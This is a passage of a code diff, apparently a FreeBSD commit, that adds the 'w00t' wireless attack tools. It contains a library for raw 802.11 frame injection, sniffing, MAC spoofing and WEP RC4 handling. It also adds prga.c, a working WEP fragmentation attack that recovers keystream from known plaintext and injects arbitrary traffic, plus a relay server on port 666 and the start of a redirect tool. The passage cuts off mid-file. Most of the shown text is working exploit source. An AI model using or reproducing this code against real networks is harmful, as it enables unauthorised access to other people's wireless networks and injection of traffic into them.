BIOCSETIF, &ifr) < 0) + return -1; + + if (ioctl(fd, BIOCSDLT, &dlt) < 0) + return -1; + + i = 1; + if (ioctl(fd, BIOCIMMEDIATE, &i) < 0) + return -1; + + return fd; +} + +int open_tx(char *iface) +{ + return open_bpf(iface, DLT_IEEE802_11_RADIO); +} + +int open_rx(char *iface) +{ + return open_bpf(iface, DLT_IEEE802_11_RADIO); +} + +int open_rxtx(char *iface, int *rx, int *tx) +{ + *rx = open_bpf(iface, DLT_IEEE802_11_RADIO); + *tx = *rx; + + return *rx; +} + +int inject(int fd, void *buf, int len) +{ + return inject_params(fd, buf, len, NULL); +} + +int inject_params(int fd, void *buf, int len, + struct ieee80211_bpf_params *params) +{ + static struct ieee80211_bpf_params defaults = { + .ibp_vers = IEEE80211_BPF_VERSION, + /* NB: no need to pass series 2-4 rate+try */ + .ibp_len = sizeof(struct ieee80211_bpf_params) - 6, + .ibp_rate1 = 2, /* 1 MB/s XXX */ + .ibp_try1 = 1, /* no retransmits */ + .ibp_flags = IEEE80211_BPF_NOACK, + .ibp_power = 100, /* nominal max */ + .ibp_pri = WME_AC_VO, /* high priority */ + }; + struct iovec iov[2]; + int rc; + + if (params == NULL) + params = &defaults; + iov[0].iov_base = params; + iov[0].iov_len = params->ibp_len; + iov[1].iov_base = buf; + iov[1].iov_len = len; + + rc = writev(fd, iov, 2); + if (rc == -1) + return rc; + + rc -= iov[0].iov_len; /* XXX could be negative */ + return rc; +} + +int sniff(int fd, void *buf, int len) +{ + return read(fd, buf, len); +} + +void *get_wifi(void *buf, int *len) +{ +#define BIT(n) (1<<(n)) + struct bpf_hdr* bpfh = (struct bpf_hdr*) buf; + struct ieee80211_radiotap_header* rth; + uint32_t present; + uint8_t rflags; + void *ptr; + + /* bpf */ + *len -= bpfh->bh_hdrlen; + + if (bpfh->bh_caplen != *len) { + assert(bpfh->bh_caplen < *len); + *len = bpfh->bh_caplen; + } + assert(bpfh->bh_caplen == *len); + + /* radiotap */ + rth = (struct ieee80211_radiotap_header*) + ((char*)bpfh + bpfh->bh_hdrlen); + /* XXX cache; drivers won't change this per-packet */ + /* check if FCS/CRC is included in packet */ + present = le32toh(rth->it_present); + if (present & BIT(IEEE80211_RADIOTAP_FLAGS)) { + if (present & BIT(IEEE80211_RADIOTAP_TSFT)) + rflags = ((const uint8_t *)rth)[8]; + else + rflags = ((const uint8_t *)rth)[0]; + } else + rflags = 0; + *len -= rth->it_len; + + /* 802.11 CRC */ + if (rflags & IEEE80211_RADIOTAP_F_FCS) + *len -= IEEE80211_CRC_LEN; + + ptr = (char*)rth + rth->it_len; + return ptr; +#undef BIT +} + +int send_ack(int fd, char *mac) +{ + static char buf[2+2+6]; + static char *p = 0; + int rc; + + if (!p) { + memset(buf, 0, sizeof(buf)); + buf[0] |= IEEE80211_FC0_TYPE_CTL | IEEE80211_FC0_SUBTYPE_ACK; + p = &buf[4]; + } + + memcpy(p, mac, 6); + + rc = inject(fd, buf, sizeof(buf)); + return rc; +} + +int open_tap(char *iface) +{ + char buf[64]; + + snprintf(buf, sizeof(buf), "/dev/%s", iface); + return open(buf, O_RDWR); +} + +int set_iface_mac(char *iface, char *mac) +{ + int s, rc; + struct ifreq ifr; + + s = socket(PF_INET, SOCK_DGRAM, 0); + if (s == -1) + return -1; + + memset(&ifr, 0, sizeof(ifr)); + strcpy(ifr.ifr_name, iface); + + ifr.ifr_addr.sa_family = AF_LINK; + ifr.ifr_addr.sa_len = 6; + memcpy(ifr.ifr_addr.sa_data, mac, 6); + + rc = ioctl(s, SIOCSIFLLADDR, &ifr); + + close(s); + + return rc; +} + +int str2wep(char *wep, int *len, char *str) +{ + int klen; + + klen = strlen(str); + if (klen % 2) + return -1; + klen /= 2; + + if (klen != 5 && klen != 13) + return -1; + + *len = klen; + + while (klen--) { + unsigned int x; + + if (sscanf(str, "%2x", &x) != 1) + return -1; + + *wep = (unsigned char) x; + wep++; + str += 2; + } + + return 0; +} + +int wep_decrypt(struct ieee80211_frame *wh, int len, char *key, int klen) +{ + RC4_KEY k; + char seed[64]; + char *p = (char*) (wh+1); + uLong crc = crc32(0L, Z_NULL, 0); + uLong *pcrc; + + assert(sizeof(seed) >= klen + 3); + memcpy(seed, p, 3); + memcpy(&seed[3], key, klen); + + RC4_set_key(&k, klen+3, seed); + + len -= sizeof(*wh); + len -= 4; + p += 4; + RC4(&k, len, p, p); + + crc = crc32(crc, p, len - 4); + pcrc = (uLong*) (p+len-4); + + if (*pcrc == crc) + return 0; + + return -1; +} + +void wep_encrypt(struct ieee80211_frame *wh, int len, char *key, int klen) +{ + RC4_KEY k; + char seed[64]; + char *p = (char*) (wh+1); + uLong crc = crc32(0L, Z_NULL, 0); + uLong *pcrc; + + assert(sizeof(seed) >= klen + 3); + memcpy(seed, p, 3); + memcpy(&seed[3], key, klen); + + RC4_set_key(&k, klen+3, seed); + + len -= sizeof(*wh); + p += 4; + crc = crc32(crc, p, len - 4); + pcrc = (uLong*) (p+len-4); + *pcrc = crc; + + RC4(&k, len, p, p); +} + +int frame_type(struct ieee80211_frame *wh, int type, int stype) +{ + if ((wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK) != type) + return 0; + + if ((wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK) != stype) + return 0; + + return 1; +} + +void hexdump(void *b, int len) +{ + unsigned char *p = (unsigned char*) b; + + while (len--) + printf("%.2X ", *p++); + printf("\n"); +} + +int elapsed(struct timeval *past, struct timeval *now) +{ + int el; + + el = now->tv_sec - past->tv_sec; + assert(el >= 0); + if (el == 0) { + el = now->tv_usec - past->tv_usec; + } else { + el = (el - 1)*1000*1000; + el += 1000*1000-past->tv_usec; + el += now->tv_usec; + } + + return el; +} + +static int is_arp(struct ieee80211_frame *wh, int len) +{ + /* XXX */ + if (len > (sizeof(*wh) + 4 + 4 + 39)) + return 0; + + return 1; +} + +char *known_pt(struct ieee80211_frame *wh, int *len) +{ + static char *known_pt_arp = "\xAA\xAA\x03\x00\x00\x00\x08\x06"; + static char *known_pt_ip = "\xAA\xAA\x03\x00\x00\x00\x08\x00"; + int arp; + + arp = is_arp(wh, *len); + *len = 8; + if (arp) + return known_pt_arp; + else + return known_pt_ip; +} diff --git a/tools/tools/net80211/w00t/libw00t/w00t.h b/tools/tools/net80211/w00t/libw00t/w00t.h new file mode 100644 index 000000000000..2164119b16e8 --- /dev/null +++ b/tools/tools/net80211/w00t/libw00t/w00t.h @@ -0,0 +1,57 @@ +/*- + * Copyright (c) 2006, Andrea Bittau + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + * $FreeBSD$ + */ +#ifndef __W00T_H__ +#define __W00T_H__ + +#include +#include + +int str2mac(char *mac, char *str); +void mac2str(char *str, char *mac); +int open_tx(char *iface); +int open_rx(char *iface); +int open_rxtx(char *iface, int *rx, int *tx); +int inject(int fd, void *buf, int len); +int inject_params(int fd, void *buf, int len, + struct ieee80211_bpf_params *params); +int sniff(int fd, void *buf, int len); +void *get_wifi(void *buf, int *len); +short seqfn(unsigned short seq, unsigned short fn); +int send_ack(int fd, char *mac); +unsigned short seqno(struct ieee80211_frame *wh); +int open_tap(char *iface); +int set_iface_mac(char *iface, char *mac); +int str2wep(char *wep, int *len, char *str); +int wep_decrypt(struct ieee80211_frame *wh, int len, char *key, int klen); +void wep_encrypt(struct ieee80211_frame *wh, int len, char *key, int klen); +int frame_type(struct ieee80211_frame *wh, int type, int stype); +void hexdump(void *b, int len); +int elapsed(struct timeval *past, struct timeval *now); +char *known_pt(struct ieee80211_frame *wh, int *len); + +#endif /* __W00T_H__ */ diff --git a/tools/tools/net80211/w00t/prga/Makefile b/tools/tools/net80211/w00t/prga/Makefile new file mode 100644 index 000000000000..c4d00b680c1c --- /dev/null +++ b/tools/tools/net80211/w00t/prga/Makefile @@ -0,0 +1,7 @@ +# $FreeBSD$ + +.include <../Makefile.inc> + +PROG= prga + +.include diff --git a/tools/tools/net80211/w00t/prga/prga.c b/tools/tools/net80211/w00t/prga/prga.c new file mode 100644 index 000000000000..5672481788a9 --- /dev/null +++ b/tools/tools/net80211/w00t/prga/prga.c @@ -0,0 +1,664 @@ +/*- + * Copyright (c) 2006, Andrea Bittau + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + * $FreeBSD$ + */ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "w00t.h" + + +static char *known_pt_arp = "\xAA\xAA\x03\x00\x00\x00\x08\x06"; +static char *known_pt_ip = "\xAA\xAA\x03\x00\x00\x00\x08\x00"; +static int known_pt_len = 8; + +enum { + S_START = 0, + S_SEND_FRAG, + S_WAIT_ACK, + S_WAIT_RELAY +}; + +struct params { + int tx; + int rx; + + char mac[6]; + char ap[6]; + + char prga[2048]; + int prga_len; + char iv[3]; + + char *fname; + + struct timeval last; + char packet[2048]; + int packet_len; + int state; + + char data[2048]; + char *data_ptr; + int data_len; + int data_try; + int mtu; + + int seq; + int frag; + + int tap; +}; + +void usage(char *p) +{ + printf("Usage: %s \n" + "-h\thelp\n" + "-b\t\n" + "-t\t\n" + , p); + exit(0); +} + +void load_prga(struct params *p) +{ + int fd; + int rd; + + fd = open(p->fname, O_RDONLY); + if (fd == -1) { + p->prga_len = 0; + return; + } + + rd = read(fd, p->iv, 3); + if (rd == -1) + err(1, "read()"); + if (rd != 3) { + printf("Short read\n"); + exit(1); + } + + rd = read(fd, p->prga, sizeof(p->prga)); + if (rd == -1) + err(1, "read()"); + p->prga_len = rd; + + printf("Loaded %d PRGA from %s\n", p->prga_len, p->fname); + close(fd); +} + +void save_prga(struct params *p) +{ + int fd; + int rd; + + fd = open(p->fname, O_WRONLY | O_CREAT, 0644); + if (fd == -1) + err(1, "open()"); + + rd = write(fd, p->iv, 3); + if (rd == -1) + err(1, "write()"); + if (rd != 3) { + printf("Short write\n"); + exit(1); + } + + rd = write(fd, p->prga, p->prga_len); + if (rd == -1) + err(1, "write()"); + if (rd != p->prga_len) { + printf("Wrote %d/%d\n", rd, p->prga_len); + exit(1); + } + close(fd); + + printf("Got %d bytes of PRGA\n", p->prga_len); +} + +int is_arp(struct ieee80211_frame *wh, int len) +{ + /* XXX */ + if (len > (sizeof(*wh) + 4 + 4 + 39)) + return 0; + + return 1; +} + +void get_prga(struct params *p) +{ + char buf[4096]; + int rc; + struct ieee80211_frame *wh; + char *bssid; + char *ptr; + char *known_pt; + + rc = sniff(p->rx, buf, sizeof(buf)); + if (rc == -1) + err(1, "sniff()"); + + wh = get_wifi(buf, &rc); + if (!wh) + return; + + if (!frame_type(wh, IEEE80211_FC0_TYPE_DATA, + IEEE80211_FC0_SUBTYPE_DATA)) + return; + + if (is_arp(wh, rc)) + known_pt = known_pt_arp; + else + known_pt = known_pt_ip; + + if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) + bssid = wh->i_addr1; + else + bssid = wh->i_addr2; + + if (memcmp(p->ap, bssid, 6) != 0) + return; + + if (!(wh->i_fc[1] & IEEE80211_FC1_WEP)) { + printf("Packet not WEP!\n"); + return; + } + + ptr = (char*) (wh+1); + memcpy(p->iv, ptr, 3); + ptr += 4; + rc -= sizeof(wh) + 4; + + assert(rc >= known_pt_len); + + for (rc = 0; rc < known_pt_len; rc++) { + p->prga[rc] = known_pt[rc] ^ (*ptr); + ptr++; + } + + p->prga_len = rc; + save_prga(p); +} + +void start(struct params *p) +{ + int len; + + len = p->prga_len; + len -= 4; + assert(len > 0); + + len *= 4; + if (len > p->mtu) + len = p->mtu; + + p->data_len = len; + memset(p->data, 0, p->data_len); + memcpy(p->data, "\xaa\xaa\x03\x00\x00\x00\x08\x06", 8); + p->data_ptr = p->data; + p->data_try = 0; + p->seq++; + p->frag = 0; + p->state = S_SEND_FRAG; +} + +void send_packet(struct params *p) +{ + int rc; + struct ieee80211_frame *wh; + + rc = inject(p->tx, p->packet, p->packet_len); + if (rc == -1) + err(1, "inject()"); + if (rc != p->packet_len) { + printf("Wrote %d/%d\n", rc, p->packet_len); + exit(1); + } + + p->data_try++; + wh = (struct ieee80211_frame*) p->packet; + wh->i_fc[1] |= IEEE80211_FC1_RETRY; + + if (gettimeofday(&p->last, NULL) == -1) + err(1, "gettimeofday()"); +} + +void send_frag(struct params *p) +{ + struct ieee80211_frame *wh; + int dlen, rem; + int last = 0; + short *seqp; + char *ptr; + uLong *pcrc; + uLong crc = crc32(0L, Z_NULL, 0); + int i; + + memset(p->packet, 0, sizeof(p->packet)); + wh = (struct ieee80211_frame*) p->packet; + + /* calculate how much data we need to copy */ + dlen = p->prga_len - 4; + rem = p->data_ptr - p->data; + rem = p->data_len - rem; + + if (rem <= dlen) { + dlen = rem; + last = 1; + } + + /* 802.11 */ + wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA; + wh->i_fc[0] |= IEEE80211_FC0_SUBTYPE_DATA; + wh->i_fc[1] |= IEEE80211_FC1_WEP; + wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS; + if (!last) + wh->i_fc[1] |= IEEE80211_FC1_MORE_FRAG; + + wh->i_dur[0] = 0x69; + wh->i_dur[1] = 0x00; + + memcpy(wh->i_addr1, p->ap, 6); + memcpy(wh->i_addr2, p->mac, 6); + memset(wh->i_addr3, 0xff, 6); + + seqp = (short*) wh->i_seq; + *seqp = seqfn(p->seq, p->frag); + p->frag++; + + /* IV & data */ + ptr = (char*) (wh+1); + memcpy(ptr, p->iv, 3); + ptr += 4; + memcpy(ptr, p->data_ptr, dlen); + + /* crc */ + crc = crc32(crc, ptr, dlen); + pcrc = (uLong*) (ptr+dlen); + *pcrc = crc; + + /* wepify */ + for (i = 0; i < dlen+4; i++) + ptr[i] = ptr[i] ^ p->prga[i]; + + /* prepare for next frag */ + p->packet_len = sizeof(*wh) + 4 + dlen + 4; + p->data_ptr += dlen; +#if 0 + printf("Sening %sfrag [%d/%d] [len=%d]\n", last ? "last " : "", + p->seq, p->frag, dlen); +#endif + if (last) { + p->data_ptr = p->data; + p->frag = 0; + p->seq++; + } + + /* send it off */ + send_packet(p); + p->state = S_WAIT_ACK; +} + +void wait_ack(struct params *p) +{ + struct timeval now; + int el; + int tout = 10*1000; + fd_set fds; + int rc; + char buf[4096]; + struct ieee80211_frame *wh; + + if (gettimeofday(&now, NULL) == -1) + err(1, "gettimeofday()"); + + /* check for timeout */ + el = elapsed(&p->last, &now); + if (el >= tout) { + if (p->data_try >= 3) { +#if 0 + printf("Re-sending whole lot\n"); +#endif + p->state = S_START; + return; + } +#if 0 + printf("Re-sending frag\n"); +#endif + send_packet(p); + el = 0; + } + + el = tout - el; + now.tv_sec = el/1000/1000; + now.tv_usec = el - now.tv_sec*1000*1000; + + FD_ZERO(&fds); + FD_SET(p->rx, &fds); + if (select(p->rx+1, &fds, NULL, NULL, &now) == -1) + err(1, "select()"); + + if (!FD_ISSET(p->rx, &fds)) + return; + + /* grab ack */ + rc = sniff(p->rx, buf, sizeof(buf)); + if (rc == -1) + err(1, "sniff()"); + + wh = get_wifi(buf, &rc); + if (!wh) + return; + + if (!frame_type(wh, IEEE80211_FC0_TYPE_CTL, IEEE80211_FC0_SUBTYPE_ACK)) + return; + + if (memcmp(p->mac, wh->i_addr1, 6) != 0) + return; + + /* wait for relay */ + if (p->frag == 0) { + p->state = S_WAIT_RELAY; + if (gettimeofday(&p->last, NULL) == -1) + err(1, "gettimeofday()"); + } + else + p->state = S_SEND_FRAG; +} + +void wait_relay(struct params *p) +{ + int tout = 20*1000; + struct timeval now; + int el; + fd_set fds; + int rc; + char buf[4096]; + struct ieee80211_frame *wh; + char *ptr; + uLong crc = crc32(0L, Z_NULL, 0); + uLong *pcrc; + + if (gettimeofday(&now, NULL) == -1) + err(1, "gettimeofday()"); + + el = elapsed(&p->last, &now); + if (el >= tout) { +#if 0 + printf("No relay\n"); +#endif + p->state = S_START; + return; + } + el = tout - el; + now.tv_sec = el/1000/1000; + now.tv_usec = el - now.tv_sec*1000*1000; + + FD_ZERO(&fds); + FD_SET(p->rx, &fds); + if (select(p->rx+1, &fds, NULL, NULL, &now) == -1) + err(1, "select()"); + + if (!FD_ISSET(p->rx, &fds)) + return; + + /* get relay */ + rc = sniff(p->rx, buf, sizeof(buf)); + if (rc == -1) + err(1, "sniff()"); + + wh = get_wifi(buf, &rc); + if (!wh) + return; + + if (!frame_type(wh, IEEE80211_FC0_TYPE_DATA, + IEEE80211_FC0_SUBTYPE_DATA)) + return; + + if (memcmp(wh->i_addr2, p->ap, 6) != 0) + return; + + if (memcmp(wh->i_addr3, p->mac, 6) != 0) + return; + + if (memcmp(wh->i_addr1, "\xff\xff\xff\xff\xff\xff", 6) != 0) + return; + + /* lends different due to padding? */ + if ( (rc - sizeof(*wh) - 8) != p->data_len) + return; + + /* grab new PRGA */ + assert(p->data_len >= p->prga_len); + ptr = (char*) (wh+1); + memcpy(p->iv, ptr, 3); + ptr += 4; + + crc = crc32(crc, p->data, p->data_len); + pcrc = (uLong*) &p->data[p->data_len]; /* XXX overflow ph33r */ + *pcrc = crc; + + for (rc = 0; rc < p->data_len+4; rc++) + p->prga[rc] = p->data[rc] ^ ptr[rc]; + + p->prga_len = p->data_len+4; + p->state = S_START; + save_prga(p); +} + +void get_more_prga(struct params *p) +{ + switch (p->state) { + case S_START: + start(p); + break; + + case S_SEND_FRAG: + send_frag(p); + break; + + case S_WAIT_ACK: + wait_ack(p); + break; + + case S_WAIT_RELAY: + wait_relay(p); + break; + + default: + printf("WTF %d\n", p->state); + abort(); + break; + } +} + +void read_tap(struct params *p) +{ + int offset; + char *ptr; + struct ieee80211_frame *wh; + int rc; + char dst[6]; + short *seq; + uLong *pcrc; + uLong crc = crc32(0L, Z_NULL, 0); + + memset(p->packet, 0, sizeof(p->packet)); + offset = sizeof(*wh) + 4 + 8 - 14; + rc = sizeof(p->packet) - offset; + ptr = &p->packet[offset]; + + rc = read(p->tap, ptr, rc); + if (rc == -1) + err(1, "read()"); + + memcpy(dst, ptr, sizeof(dst)); + wh = (struct ieee80211_frame*) p->packet; + wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA; + wh->i_fc[0] |= IEEE80211_FC0_SUBTYPE_DATA; + wh->i_fc[1] |= IEEE80211_FC1_WEP; + wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS; + + wh->i_dur[0] = 0x69; + + memcpy(wh->i_addr1, p->ap, 6); + memcpy(wh->i_addr2, p->mac, 6); + memcpy(wh->i_addr3, dst, 6); + + seq = (short*) wh->i_seq; + *seq = seqfn(p->seq++, 0); + + /* data */ + ptr = (char*) (wh+1); + memcpy(ptr, p->iv, 3); + ptr += 3; + *ptr++ = 0; + memcpy(ptr, "\xAA\xAA\x03\x00\x00\x00", 6); + rc -= 14; + rc += 8; + + crc = crc32(crc, ptr, rc); + pcrc = (uLong*) (ptr+rc); + *pcrc = crc; + + rc += 4; + + assert(p->prga_len >= rc); + + /* wepify */ + for (offset = 0; offset < rc; offset++) + ptr[offset] ^= p->prga[offset]; + + p->packet_len = sizeof(*wh) + 4 + rc; + p->data_try = 0; + send_packet(p); + p->state = S_WAIT_ACK; +} + +/* XXX */ +void wait_tap_ack(struct params *p) +{ + p->data_try = 0; + p->frag = 1; + wait_ack(p); + + if (p->state == S_SEND_FRAG) { +#if 0 + printf("Got ACK\n"); +#endif + p->state = S_START; + } +} + +void transmit(struct params *p) +{ + switch (p->state) { + case S_START: + read_tap(p); + break; + + case S_WAIT_ACK: + wait_tap_ack(p); + break; + + default: + printf("wtf %d\n", p->state); + abort(); + break; + } +} + +int main(int argc, char *argv[]) +{ + struct params p; + char *iface = "ath0"; + char *tap = "tap0"; + int ch; + + memset(&p, 0, sizeof(p)); + p.fname = "prga.log"; + memcpy(p.mac, "\x00\x00\xde\xfa\xce\x0d", 6); + p.state = S_START; + p.mtu = 1500; + p.seq = getpid(); + + while ((ch = getopt(argc, argv, "hb:t:")) != -1) { + switch (ch) { + case 'b': + if (str2mac(p.ap, optarg) == -1) { + printf("Can't parse BSSID\n"); + exit(1); + } + break; + + case 't': + tap = optarg; + break; + + case 'h': + default: + usage(argv[0]); + break; + } + } + + /* init */ + if ((p.rx = open_rx(iface)) == -1) + err(1, "open_rx()"); + if ((p.tx = open_tx(iface)) == -1) + err(1, "open_tx()"); + + if ((p.tap = open_tap(tap)) == -1) + err(1, "open_tap()"); + if (set_iface_mac(tap, p.mac) == -1) + err(1, "set_iface_mac()"); + + printf("Obtaining PRGA\n"); + /* make sure we got some prga */ + load_prga(&p); + + while (p.prga_len == 0) + get_prga(&p); + + /* lets grab some more */ + while (p.prga_len < p.mtu) + get_more_prga(&p); + + /* transmit */ + p.state = S_START; + while (1) + transmit(&p); + + exit(0); +} diff --git a/tools/tools/net80211/w00t/redir/Makefile b/tools/tools/net80211/w00t/redir/Makefile new file mode 100644 index 000000000000..231819640b0c --- /dev/null +++ b/tools/tools/net80211/w00t/redir/Makefile @@ -0,0 +1,7 @@ +# $FreeBSD$ + +.include <../Makefile.inc> + +PROG= redir + +.include diff --git a/tools/tools/net80211/w00t/redir/buddy.c b/tools/tools/net80211/w00t/redir/buddy.c new file mode 100644 index 000000000000..7d66e042d753 --- /dev/null +++ b/tools/tools/net80211/w00t/redir/buddy.c @@ -0,0 +1,158 @@ +/*- + * Copyright (c) 2006, Andrea Bittau + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + * $FreeBSD$ + */ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +void hexdump(void *b, int len) +{ + unsigned char *p = (unsigned char*) b; + + while (len--) + printf("%.2X ", *p++); + printf("\n"); +} + +int handle_data(int dude, char *buf, int len) +{ + struct ip *ih; + unsigned short id; + char tmp[4]; + struct iovec iov[2]; + struct msghdr mh; + + ih = (struct ip*) buf; + + /* XXX IP FRAGS */ + + /* filter */ + if (ih->ip_p != 0) + return 0; + + if (ih->ip_hl != 5) + return 0; + + /* get info */ + id = ih->ip_id; + len -= 20; + buf += 20; + printf("Got %d bytes [%d]\n", len, ntohs(id)); +#if 0 + hexdump(buf, len); +#endif + + /* prepare packet */ + memcpy(tmp, &id, 2); + id = htons(len); + memcpy(&tmp[2], &id, 2); + + iov[0].iov_base = tmp; + iov[0].iov_len = 4; + iov[1].iov_base = buf; + iov[1].iov_len = len; + + memset(&mh, 0, sizeof(mh)); + mh.msg_iov = iov; + mh.msg_iovlen = sizeof(iov)/sizeof(struct iovec); + + /* write */ + if (sendmsg(dude, &mh, 0) != (4 + len)) + return -1; + return 0; +} + +void handle_dude(int dude, int raw) +{ + char buf[4096]; + int rd; + + while (1) { + rd = recv(raw, buf, sizeof(buf), 0); + if (rd == -1) + err(1, "recv()"); + + if (handle_data(dude, buf, rd) == -1) + return; + } +} + +void hand(int s) +{ + printf("sigpipe\n"); +} + +int main(int argc, char *argv[]) +{ + int s, dude; + struct sockaddr_in s_in; + int len; + int raw; + + memset(&s_in, 0, sizeof(&s_in)); + s_in.sin_family = PF_INET; + s_in.sin_port = htons(666); + s_in.sin_addr.s_addr = INADDR_ANY; + + if ((raw = socket(PF_INET, SOCK_RAW, 0)) == -1) + err(1, "socket()"); + + if ((s = socket(s_in.sin_family, SOCK_STREAM, IPPROTO_TCP)) == -1) + err(1, "socket()"); + + if (bind(s, (struct sockaddr*)&s_in, sizeof(s_in)) == -1) + err(1, "bind()"); + + if (listen(s, 5) == -1) + err(1, "listen()"); + + if (signal(SIGPIPE, hand) == SIG_ERR) + err(1, "signal()"); + + while (1) { + len = sizeof(s_in); + dude = accept(s, (struct sockaddr*)&s_in, &len); + if (dude == -1) + err(1, "accept()"); + + printf("Got dude %s\n", inet_ntoa(s_in.sin_addr)); + handle_dude(dude, raw); + printf("Done\n"); + } +} diff --git a/tools/tools/net80211/w00t/redir/redir.c b/tools/tools/net80211/w00t/redir/redir.c new file mode 100644 index 000000000000..77dc16dce5da --- /dev/null +++ b/tools/tools/net80211/w00t/redir/redir.c @@ -0,0 +1,709 @@ +/*- + * Copyright (c) 2006, Andrea Bittau + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + * $FreeBSD$ + */ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "w00t.h" + +enum { + S_START = 0, + S_WAIT_ACK, + S_WAIT_BUDDY +}; + +struct queue { + struct ieee80211_frame *wh; + int len; + int id; + + char *buf; + int live; + struct queue *next; +}; + +struct params { + int rx; + int tx; + + int s; + int port; + + int tap; + + char mac[6]; + char ap[6]; + 